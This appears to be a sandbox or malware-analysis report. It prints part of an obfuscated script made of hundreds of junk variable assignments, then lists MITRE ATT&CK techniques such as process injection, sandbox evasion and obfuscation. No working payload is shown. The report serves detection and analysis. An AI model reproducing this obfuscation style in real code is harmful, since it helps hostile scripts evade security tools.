511	nggkrqkci = "F";
512	nggkrqkci = "&";
513	pspoyhw = "E";
514	pspoyhw = "Z";
515	pspoyhw = "z";
516	pspoyhw = "Q";
517	pspoyhw = "a";
518	pspoyhw = "e";
519	pspoyhw = "L";
520	pspoyhw = "e";
521	pspoyhw = "U";
522	pspoyhw = ".";
523	wdghozl = "o";
524	wdghozl = "z";
525	wdghozl = "i";
526	wdghozl = "j";
527	wdghozl = "c";
528	wdghozl = "V";
529	wdghozl = "w";
530	wdghozl = "Y";
531	wdghozl = "v";
532	wdghozl = "f";
533	wdghozl = "X";
534	wdghozl = "M";
535	wdghozl = "p";
536	wdghozl = "l";
537	wdghozl = "a";
538	wdghozl = "h";
539	wdghozl = "D";
540	wdghozl = "W";
541	wdghozl = "g";
542	wdghozl = "i";
543	wdghozl = "j";
544	wdghozl = "a";
545	wdghozl = "A";
546	wdghozl = "c";
547	wdghozl = "J";
548	wdghozl = "o";
549	wdghozl = "T";
550	wdghozl = "t";
551	kctlel = "H";
552	kctlel = "b";
553	ohxkjeqmj = "z";
554	ohxkjeqmj = "z";
555	ohxkjeqmj = "a";
556	ohxkjeqmj = "w";
557	ohxkjeqmj = "I";
558	ohxkjeqmj = "W";
559	ohxkjeqmj = "f";
560	ohxkjeqmj = "s";
561	ohxkjeqmj = "C";
562	ohxkjeqmj = "r";
563	ohxkjeqmj = "w";
564	ohxkjeqmj = "e";
565	ohxkjeqmj = "b";
566	ohxkjeqmj = "w";
567	mokaq = "u";
568	mokaq = "n";
569	mokaq = "Z";
570	mokaq = "D";
571	mokaq = "m";
572	mokaq = "8";
573	cdcyswh = "U";
574	cdcyswh = "Q";
575	cdcyswh = "P";
576	cdcyswh = "f";
577	cdcyswh = "A";
578	cdcyswh = "Z";
579	cdcyswh = "T";
580	cdcyswh = "y";
581	cdcyswh = "H";
582	cdcyswh = "d";
583	cdcyswh = "n";
584	cdcyswh = "H";
585	cdcyswh = "F";
586	cdcyswh = "X";
587	cdcyswh = "H";
588	cdcyswh = "I";
589	cdcyswh = "V";
590	cdcyswh = "X";
591	cdcyswh = "X";
592	cdcyswh = "B";
593	cdcyswh = "b";
594	cdcyswh = "P";
595	cdcyswh = "p";
596	cdcyswh = "H";
597	cdcyswh = "f";
598	cdcyswh = "C";
599	cdcyswh = "l";
600	cdcyswh = "j";
601	cdcyswh = "d";
602	cdcyswh = "H";
603	cdcyswh = "\"";
604	wyetomq = "B";
605	wyetomq = "a";
606	wyetomq = "f";
607	wyetomq = "m";
608	wyetomq = "f";
609	wyetomq = "y";
610	wyetomq = "A";
611	wyetomq = "y";
612	wyetomq = "O";
613	wyetomq = "f";
614	wyetomq = "F";
615	wyetomq = "R";
616	wyetomq = "I";
617	wyetomq = "H";
618	wyetomq = "D";
619	wyetomq = "g";
620	wyetomq = "S";
621	wyetomq = "g";
622	wyetomq = "p";
623	wyetomq = "a";
624	wyetomq = "X";
625	wyetomq = "s";
626	wyetomq = "e";
627	wyetomq = "J";
628	wyetomq = "n";
629	wyetomq = "J";
630	wyetomq = "A";
631	wyetomq = "k";
632	wyetomq = "f";
633	wyetomq = "a";
634	wyetomq = "x";
635	wyetomq = "L";
636	wyetomq = "m";
637	wyetomq = "b";
638	wyetomq = "E";
639	wyetomq = "o";
640	cicgmvp = "N";
641	cicgmvp = "M";
642	cicgmvp = "H";
643	cicgmvp = "M";
644	cicgmvp = "C";
645	cicgmvp = "A";
646	cicgmvp = "x";
647	cicgmvp = "t";
648	cicgmvp = "f";
649	cicgmvp = "c";
650	cicgmvp = "w";
651	cicgmvp = "D";
652	cicgmvp = "h";
653	cicgmvp = "h";
654	cicgmvp = "Q";
655	cicgmvp = "u";
656	cicgmvp = "v";
657	cicgmvp = "m";
658	cicgmvp = "R";
659	cicgmvp = "b";
660	cicgmvp = "i";
661	cicgmvp = "j";
662	cicgmvp = "S";
663	cicgmvp = "E";
664	cicgmvp = "I";
665	cicgmvp = "u";
666	cicgmvp = "c";
667	cicgmvp = "F";
668	cicgmvp = "C";
669	cicgmvp = "b";
670	cicgmvp = "U";
671	cicgmvp = "u";
672	cicgmvp = "e";
673	cicgmvp = "5";
674	fsyhhdwdt = "G";
675	fsyhhdwdt = "M";
676	fsyhhdwdt = "P";
677	fsyhhdwdt = "k";
678	fsyhhdwdt = ":";
679	igotebvwn = "o";
680	igotebvwn = "f";
681	igotebvwn = "G";
682	igotebvwn = "Y";
683	igotebvwn = "T";
684	igotebvwn = "t";
685	igotebvwn = "a";
686	igotebvwn = "f";
687	igotebvwn = "k";
688	igotebvwn = "E";
689	igotebvwn = "G";
690	igotebvwn = "B";
691	igotebvwn = "m";
692	igotebvwn = "b";
693	igotebvwn = "l";
694	igotebvwn = "w";
695	igotebvwn = "h";
696	igotebvwn = "u";
697	igotebvwn = "C";
698	igotebvwn = "V";
699	igotebvwn = "D";
700	igotebvwn = "E";
701	igotebvwn = "N";
702	igotebvwn = "X";
703	igotebvwn = "I";
704	igotebvwn = "v";
705	igotebvwn = "R";
706	igotebvwn = "N";
707	igotebvwn = "D";
708	igotebvwn = "I";
709	igotebvwn = "M";
710	igotebvwn = "B";
711	igotebvwn = "l";
712	igotebvwn = "V";
713	igotebvwn = "J";
714	igotebvwn = "U";
715	igotebvwn = "l";
716	igotebvwn = "j";
717	igotebvwn = "e";
718	kvrleylu = "o";
719	kvrleylu = "S";
720	kvrleylu = "N";
721	kvrleylu = "M";
722	kvrleylu = "l";
723	kvrleylu = "F";
724	kvrleylu = "U";
725	kvrleylu = "x";
726	kvrleylu = "k";
727	kvrleylu = "g";
728	kvrleylu = "F";
729	kvrleylu = "a";
730	kvrleylu = "V";
731	kvrleylu = "p";
732	kvrleylu = "b";
733	kvrleylu = "R";
734	kvrleylu = "j";
735	kvrleylu = "j";
736	kvrleylu = "X";
737	kvrleylu = "F";
738	kvrleylu = "P";
739	kvrleylu = "d";
740	kvrleylu = "Y";
741	kvrleylu = "R";
742	kvrleylu = "G";
743	kvrleylu = "Q";
744	kvrleylu = "r";
745	kvrleylu = "L";
746	kvrleylu = "N";
747	kvrleylu = "c";
748	kvrleylu = "F";
749	kvrleylu = "e";
750	kvrleylu = "o";
751	kvrleylu = "z";
752	kvrleylu = "k";
753	kvrleylu = "b";
754	kvrleylu = "f";
755	kvrleylu = "U";
756	hheoay = "k";
757	hheoay = "u";
758	hheoay = "D";
759	hheoay = "A";
760	hheoay = "a";
761	hheoay = "B";
762	hheoay = "m";
763	hheoay = "w";
764	hheoay = "M";
765	hheoay = "b";
766	hheoay = "M";
767	hheoay = "j";
768	hheoay = "y";
769	hheoay = "p";
770	hheoay = "V";
771	hheoay = "U";
772	hheoay = "E";
773	hheoay = "k";
774	hheoay = "u";
775	hheoay = "G";
776	hheoay = "I";
777	hheoay = "g";
778	hheoay = "L";
779	hheoay = "Q";
780	hheoay = "R";
781	hheoay = "J";
782	hheoay = "b";
783	hheoay = "b";
784	hheoay = "D";
785	hheoay = "D";
786	hheoay = "Z";
787	hheoay = "g";
788	hheoay = "x";
789	hheoay = "M";
790	hheoay = "R";
791	hheoay = "k";
792	hheoay = "a";
793	hheoay = "C";
794	hheoay = "l";
795	hheoay = "z";
796	hheoay = "X";
797	hheoay = "H";
798	tottdog = "l";
799	uvwgxnsmq = "X";
800	uvwgxnsmq = "K";
801	uvwgxnsmq = "P";
802	uvwgxnsmq = "I";
803	uvwgxnsmq = "Z";
804	uvwgxnsmq = "p";
805	uvwgxnsmq = "e";
806	uvwgxnsmq = "e";
807	uvwgxnsmq = "l";
808	uvwgxnsmq = "r";
809	uvwgxnsmq = "m";
810	uvwgxnsmq = "L";
811	uvwgxnsmq = "Y";
812	uvwgxnsmq = "j";
813	uvwgxnsmq = "k";
814	uvwgxnsmq = "y";
815	uvwgxnsmq = "Z";
816	uvwgxnsmq = "g";
817	uvwgxnsmq = "q";
818	uvwgxnsmq = "U";
819	uvwgxnsmq = "o";
820	uvwgxnsmq = "W";
821	uvwgxnsmq = "t";
822	uvwgxnsmq = "O";
823	uvwgxnsmq = "O";
824	uvwgxnsmq = "/";
825	sqqmkjxg = "A";
826	sqqmkjxg = "Q";
827	sqqmkjxg = "V";
828	sqqmkjxg = "p";
829	sqqmkjxg = "T";
830	sqqmkjxg = "y";
831	sqqmkjxg = "D";
832	sqqmkjxg = "N";
833	sqqmkjxg = "z";
834	sqqmkjxg = "G";
835	sqqmkjxg = "v";
836	sqqmkjxg = "M";
837	sqqmkjxg = "T";
838	sqqmkjxg = "z";
839	sqqmkjxg = "J";
840	sqqmkjxg = "S";
841	sqqmkjxg = "Y";
842	sqqmkjxg = "m";
843	sqqmkjxg = "F";
844	sqqmkjxg = "J";
845	sqqmkjxg = "i";
846	sqqmkjxg = "p";
847	sqqmkjxg = "e";
848	sqqmkjxg = "O";
849	sqqmkjxg = "i";
850	sqqmkjxg = "Z";
851	sqqmkjxg = "k";
852	sqqmkjxg = "R";
853	sqqmkjxg = "i";
854	sqqmkjxg = "j";
855	sqqmkjxg = "g";
856	sqqmkjxg = "C";
857	mptgi = "h";
858	mptgi = "Q";
859	mptgi = "g";
860	mptgi = "O";
861	mptgi = "c";
862	mptgi = "X";
863	mptgi = "X";
864	mptgi = "w";
865	mptgi = "a";
866	mptgi = "h";
867	mptgi = "P";
868	mptgi = "H";
869	mptgi = "c";
870	mptgi = "K";
871	mptgi = "U";
872	mptgi = "A";
873	mptgi = "n";
874	mptgi = "I";
875	mptgi = "s";
876	mptgi = "E";
877	mptgi = "Q";
878	mptgi = "T";
879	mptgi = "w";
880	mptgi = "R";
881	mptgi = "e";
882	mptgi = "%";
883	escecbxz = "a";
884	escecbxz = "h";
885	escecbxz = "w";
886	escecbxz = "K";
887	escecbxz = "K";
888	escecbxz = "z";
889	escecbxz = "N";
890	escecbxz = "j";
891	escecbxz = "E";
892	escecbxz = "g";
893	escecbxz = "m";
894	escecbxz = "Q";
895	escecbxz = "h";
896	escecbxz = "m";
897	escecbxz = "M";
898	escecbxz = "s";
899	escecbxz = "R";
900	escecbxz = "M";
901	escecbxz = "b";
902	escecbxz = "z";
903	escecbxz = "h";
904	escecbxz = "k";
905	escecbxz = "u";
906	escecbxz = "d";
907	escecbxz = "g";
908	escecbxz = "Z";
909	escecbxz = "M";
910	escecbxz = "s";
911	escecbxz = "R";
912	escecbxz = "g";
913	escecbxz = "K";
914	escecbxz = "A";
915	escecbxz = "Y";
916	escecbxz = "M";
917	escecbxz = "R";
918	escecbxz = "s";
919	escecbxz = "L";
920	mozwf = "m";
921	mozwf = "C";
922	mozwf = "s";
923	mozwf = "Y";
924	mozwf = "z";
925	mozwf = "j";
926	mozwf = "R";
927	mozwf = "g";
928	mozwf = "o";
929	mozwf = "d";
930	mozwf = "m";
931	mozwf = "Z";
932	mozwf = "a";
933	mozwf = "J";
934	mozwf = "c";
935	mozwf = "s";
936	mozwf = "x";
937	mozwf = "O";
938	mozwf = "V";
939	mozwf = "X";
940	mozwf = "x";
941	mozwf = "V";
942	mozwf = "C";
943	mozwf = "w";
944	mozwf = "d";
945	mozwf = "u";
946	mozwf = "n";
947	mozwf = "F";
948	mozwf = "I";
949	mozwf = "n";
950	mozwf = "j";
951	mozwf = "k";
952	mozwf = "c";
953	mozwf = "J";
954	mozwf = "Q";
955	mozwf = "h";
956	pfungd = "F";
957	pfungd = "H";
958	pfungd = "j";
959	pfungd = "J";
960	pfungd = "v";
961	pfungd = "w";
962	pfungd = "z";
963	pfungd = "b";
964	pfungd = "s";
965	pfungd = "U";
966	pfungd = "d";
967	pfungd = "y";
968	pfungd = "R";
969	pfungd = "e";
970	pfungd = "r";
971	pfungd = "E";
972	pfungd = "O";
973	pfungd = "x";
974	pfungd = "z";
975	pfungd = "G";
976	pfungd = "J";
977	pfungd = "S";
978	pfungd = "G";
979	pfungd = "R";
980	pfungd = "K";
981	pfungd = "a";
982	pfungd = "X";
983	pfungd = "h";
984	pfungd = "p";
985	pfungd = "c";
986	pfungd = "W";
987	pfungd = "v";
988	pfungd = "k";
989	pfungd = "k";
990	mlyikpua = "D";
991	mlyikpua = "i";
992	mlyikpua = "X";
993	mlyikpua = "u";
994	mlyikpua = "D";
995	mlyikpua = "D";
996	mlyikpua = "j";
997	mlyikpua = "a";
998	mlyikpua = "K";
999	mlyikpua = "q";
1000	mlyikpua = "j";
1001	mlyikpua = "F";
1002	mlyikpua = "U";
1003	mlyikpua = "M";
1004	mlyikpua = "Y";
1005	mlyikpua = "w";
1006	mlyikpua = "E";
1007	mlyikpua = "D";
1008	mlyikpua = "a";
1009	mlyikpua = "E";
1010	mlyikpua = "J";
1011	mlyikpua = "c";
1012	mlyikpua = "d";
1013	mlyikpua = "p";
1014	mlyikpua = "h";
1015	mlyikpua = "m";
1016	equfon = "k";
1017	equfon = "Z";
1018	equfon = "F";
1019	equfon = "D";
1020	equfon = "Q";
1021	equfon = "W";
1022	equfon = "P";
1023	equfon = "p";
1024	equfon = "I";
1025	equfon = "M";
1026	equfon = "Q";
1027	equfon = "M";
1028	equfon = "T";
1029	equfon = "B";
1030	equfon = "H";
1031	equfon = "H";
1032	equfon = "q";
1033	wsoxrzg = "b";
1034	wsoxrzg = "d";
1035	wsoxrzg = "f";
1036	wsoxrzg = "m";
1037	wsoxrzg = "n";
1038	wsoxrzg = "s";
1039	wsoxrzg = "j";
1040	wsoxrzg = "o";
1041	wsoxrzg = "Z";
1042	wsoxrzg = "R";
1043	wsoxrzg = "N";
1044	lbmsfx = "V";
1045	lbmsfx = "O";
1046	lbmsfx = "D";
1047	lbmsfx = "f";
1048	lbmsfx = "R";
1049	lbmsfx = "P";
1050	lbmsfx = "P";
1051	lbmsfx = "M";
1052	lbmsfx = "P";
1053	lbmsfx = "P";
1054	lbmsfx = "O";
1055	lbmsfx = "e";
1056	lbmsfx = "S";
1057	lbmsfx = "V";
1058	lbmsfx = "Z";
1059	lbmsfx = "F";
1060	lbmsfx = "H";
1061	lbmsfx = "u";
1062	lbmsfx = "c";
1063	lbmsfx = "Z";
1064	lbmsfx = "Q";
1065	lbmsfx = "q";
1066	lbmsfx = "a";
1067	fouhdilsf = "s";
1068	fouhdilsf = "O";
1069	fouhdilsf = "U";
1070	fouhdilsf = "O";
1071	fouhdilsf = "A";
1072	fouhdilsf = "m";
1073	fouhdilsf = "z";
1074	fouhdilsf = "u";
1075	fouhdilsf = "j";
1076	fouhdilsf = "G";
1077	fouhdilsf = "Q";
1078	fouhdilsf = "T";
1079	fouhdilsf = "9";
1080	alzgl = "n";
1081	alzgl = "s";
1082	alzgl = "t";
1083	alzgl = "T";
1084	alzgl = "x";
1085	alzgl = "r";
1086	alzgl = "t";
1087	alzgl = "y";
1088	alzgl = "J";
1089	alzgl = "P";
1090	alzgl = "P";
1091	alzgl = "l";
1092	alzgl = "X";
1093	alzgl = "a";
1094	alzgl = "K";
1095	alzgl = "j";
1096	alzgl = "d";
1097	alzgl = "b";
1098	alzgl = "f";
1099	alzgl = "a";
1100	alzgl = "O";
1101	alzgl = "w";
1102	alzgl = "N";
1103	alzgl = "l";
1104	alzgl = "W";
1105	alzgl = "y";
1106	alzgl = "E";
1107	alzgl = "C";
1108	alzgl = "S";
1109	alzgl = "v";
1110	alzgl = "z";
1111	alzgl = "b";
1112	alzgl = "J";
1113	alzgl = "G";
1114	alzgl = "o";
1115	alzgl = "@";
1116	zeiwnk = "p";
1117	zeiwnk = "B";
1118	zeiwnk = "D";
1119	zeiwnk = "r";
1120	zeiwnk = "m";
1121	zeiwnk = "y";
1122	zeiwnk = "U";
1123	zeiwnk = "a";
1124	zeiwnk = "r";
1125	zeiwnk = "e";
1126	zeiwnk = "c";
1127	zeiwnk = "4";
1128	pmqzgge = "m";
1129	pmqzgge = "T";
1130	pmqzgge = "M";
1131	pmqzgge = "J";
1132	pmqzgge = "a";
1133	pmqzgge = "V";
1134	pmqzgge = "b";
1135	pmqzgge = "o";
1136	pmqzgge = "i";
1137	pmqzgge = "k";
1138	pmqzgge = "S";
1139	pmqzgge = "t";
1140	pmqzgge = "i";
1141	pmqzgge = "W";
1142	pmqzgge = "Z";
1143	pmqzgge = "S";
1144	pmqzgge = "i";
1145	pmqzgge = "w";
1146	pmqzgge = "e";
1147	pmqzgge = "q";
1148	pmqzgge = "w";
1149	pmqzgge = "m";
1150	pmqzgge = "K";
1151	pmqzgge = "y";
1152	pmqzgge = "x";
1153	pmqzgge = "m";
1154	pmqzgge = "Y";
1155	pmqzgge = "G";
1156	pmqzgge = "D";
1157	pmqzgge = "r";
1158	pmqzgge = "D";
1159	pmqzgge = "v";
1160	pmqzgge = "S";
1161	pmqzgge = "Z";
1162	pmqzgge = "j";
1163	pmqzgge = "D";
1164	pmqzgge = "q";
1165	pmqzgge = "v";
1166	pmqzgge = "v";
1167	pmqzgge = "p";
1168	pmqzgge = "L";
1169	pmqzgge = "d";
1170	lxdlfyvo = "x";
1171	lxdlfyvo = "i";
1172	lxdlfyvo = "R";
1173	lxdlfyvo = "f";
1174	lxdlfyvo = "E";
1175	lxdlfyvo = "y";
1176	lxdlfyvo = "N";
1177	lxdlfyvo = "w";
1178	lxdlfyvo = "d";
1179	lxdlfyvo = "a";
1180	lxdlfyvo = "I";
1181	lxdlfyvo = "u";
1182	lxdlfyvo = "s";
1183	lxdlfyvo = "h";
1184	lxdlfyvo = "c";
1185	lxdlfyvo = "Q";
1186	lxdlfyvo = "d";
1187	lxdlfyvo = "k";
1188	lxdlfyvo = "E";
1189	lxdlfyvo = "Y";
1190	lxdlfyvo = "E";
1191	lxdlfyvo = "2";
1192	pissh = "g";
1193	pissh = "o";
1194	pissh = "E";
1195	pissh = "Y";
1196	pissh = "h";
1197	pissh = "X";
1198	pissh = "E";
1199	pissh = "g";
1200	pissh = "h";
1201	pissh = "f";
1202	pissh = "z";
1203	pissh = "U";
1204	pissh = "G";
1205	pissh = "G";
1206	pissh = "u";
1207	pissh = "P";
1208	pissh = "e";
1209	pissh = "z";
1210	pissh = "u";
1211	pissh = "v";
1212	pissh = "D";
1213	pissh = "W";
1214	pissh = "Y";
1215	pissh = "u";
1216	pissh = "C";
1217	pissh = "X";
1218	pissh = "k";
1219	pissh = "z";
1220	pissh = "O";
1221	pissh = "G";
1222	pissh = "v";
1223	pissh = "a";
1224	pissh = "J";
1225	pissh = "C";
1226	pissh = "p";
1227	pissh = "k";
1228	pissh = "R";
1229	pissh = "c";
1230	pissh = "o";
1231	pissh = "A";
1232	pissh = "H";
1233	pissh = "R";
1234	pissh = "F";
1235	pissh = "\\";
1236	lxqjypeh = "n";
1237	lxqjypeh = "T";
1238	lxqjypeh = "Q";
1239	lxqjypeh = "t";
1240	lxqjypeh = "A";
1241	lxqjypeh = "u";
1242	lxqjypeh = "Y";
1243	lxqjypeh = "x";
1244	lxqjypeh = "d";
1245	lxqjypeh = "c";
1246	lxqjypeh = "z";
1247	lxqjypeh = "Y";
1248	lxqjypeh = "s";
1249	lxqjypeh = "v";
1250	lxqjypeh = "O";
1251	donuulok = "f";
1252	donuulok = "c";
1253	donuulok = "C";
1254	donuulok = "W";
1255	donuulok = "Q";
1256	donuulok = "e";
1257	donuulok = "Y";
1258	donuulok = "x";
1259	donuulok = "R";
1260	donuulok = "m";
1261	donuulok = "h";
1262	donuulok = "L";
1263	donuulok = "K";
1264	donuulok = "J";
1265	donuulok = "G";
1266	donuulok = "k";
1267	donuulok = "e";
1268	donuulok = "m";
1269	donuulok = "l";
1270	donuulok = "R";
1271	donuulok = "l";
1272	donuulok = "d";
1273	donuulok = "H";
1274	donuulok = "z";
1275	donuulok = "X";
1276	donuulok = "v";
1277	donuulok = "g";
1278	donuulok = "L";
1279	donuulok = "e";
1280	donuulok = "W";
1281	donuulok = "Y";
1282	donuulok = "d";
1283	donuulok = "j";
1284	donuulok = "z";
1285	donuulok = "D";
1286	donuulok = "U";
1287	donuulok = "C";
1288	donuulok = "W";
1289	donuulok = "K";
1290	donuulok = "f";
1291	donuulok = "g";
1292	donuulok = "g";
1293	donuulok = "x";
1294	gjxqd = "Y";
1295	gjxqd = "Q";
1296	gjxqd = "G";
1297	gjxqd = "C";
1298	gjxqd = "e";
1299	gjxqd = "K";
1300	gjxqd = "X";
1301	gjxqd = "O";
1302	gjxqd = "k";
1303	gjxqd = "G";
1304	gjxqd = "h";
1305	gjxqd = "O";
1306	gjxqd = "p";
1307	gjxqd = "P";
1308	gjxqd = "e";
1309	gjxqd = "v";
1310	gjxqd = "l";
1311	gjxqd = "l";
1312	gjxqd = "p";
1313	gjxqd = "x";
1314	gjxqd = "S";
1315	gjxqd = "d";
1316	gjxqd = "C";
1317	gjxqd = "r";
1318	gjxqd = "l";
1319	gjxqd = "C";
1320	gjxqd = "L";
1321	gjxqd = "a";
1322	gjxqd = "s";
1323	gjxqd = "I";
1324	gjxqd = "m";
1325	gjxqd = "d";
1326	gjxqd = "e";
1327	gjxqd = "f";
1328	gjxqd = "f";
1329	gjxqd = "J";
1330	gjxqd = "l";
1331	gjxqd = "w";
1332	gjxqd = "i";
1333	gjxqd = "J";
1334	gjxqd = "p";
1335	gjxqd = "v";
1336	gjxqd = "J";
1337	gjxqd = "n";
1338	ebzkbz = "z";
1339	ebzkbz = "s";
1340	ebzkbz = "F";
1341	ebzkbz = "K";
1342	ebzkbz = "X";
1343	ebzkbz = "x";
1344	ebzkbz = "k";
1345	ebzkbz = "o";
1346	ebzkbz = "c";
1347	kqejixp = "H";
1348	kqejixp = "P";
1349	kqejixp = "D";
1350	kqejixp = "C";
1351	kqejixp = "r";
1352	kqejixp = "l";
1353	kqejixp = "m";
1354	kqejixp = "P";
1355	kqejixp = "C";
1356	kqejixp = "G";
1357	kqejixp = "o";
1358	kqejixp = "C";
1359	kqejixp = "s";
1360	kqejixp = "g";
1361	kqejixp = "a";
1362	kqejixp = "_";
1363	ixsainr = "y";
1364	ixsainr = "H";
1365	ixsainr = "T";
1366	ixsainr = "b";
1367	ixsainr = "A";
1368	ixsainr = "t";
1369	ixsainr = "X";
1370	ixsainr = "e";
1371	ixsainr = "i";
1372	geqpifl = "S";
1373	geqpifl = "X";
1374	geqpifl = "j";
1375	geqpifl = "u";
1376	geqpifl = "V";
1377	geqpifl = "l";
1378	geqpifl = "p";
1379	geqpifl = "h";
1380	geqpifl = "j";
1381	geqpifl = "X";
1382	geqpifl = "e";
1383	geqpifl = "x";
1384	geqpifl = "u";
1385	geqpifl = "f";
1386	geqpifl = "A";
1387	geqpifl = "F";
1388	geqpifl = "Q";
1389	geqpifl = "H";
1390	geqpifl = "n";
1391	geqpifl = "y";
1392	geqpifl = "o";
1393	geqpifl = "P";
1394	spqojpyzi = "g";
1395	spqojpyzi = "H";
1396	spqojpyzi = "o";
1397	spqojpyzi = "m";
1398	spqojpyzi = "B";
1399	spqojpyzi = "o";
1400	spqojpyzi = "N";
1401	spqojpyzi = "L";
1402	spqojpyzi = "m";
1403	spqojpyzi = "M";
1404	spqojpyzi = "T";
1405	spqojpyzi = "G";
1406	spqojpyzi = "S";
1407	spqojpyzi = "x";
1408	spqojpyzi = "n";
1409	spqojpyzi = "e";
1410	spqojpyzi = "F";
1411	spqojpyzi = "G";
1412	spqojpyzi = "y";
1413	spqojpyzi = "n";
1414	spqojpyzi = "f";
1415	spqojpyzi = "A";
1416	spqojpyzi = "J";
1417	spqojpyzi = "s";
1418	spqojpyzi = "r";
1419	fqfpy ( );	fqfpy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
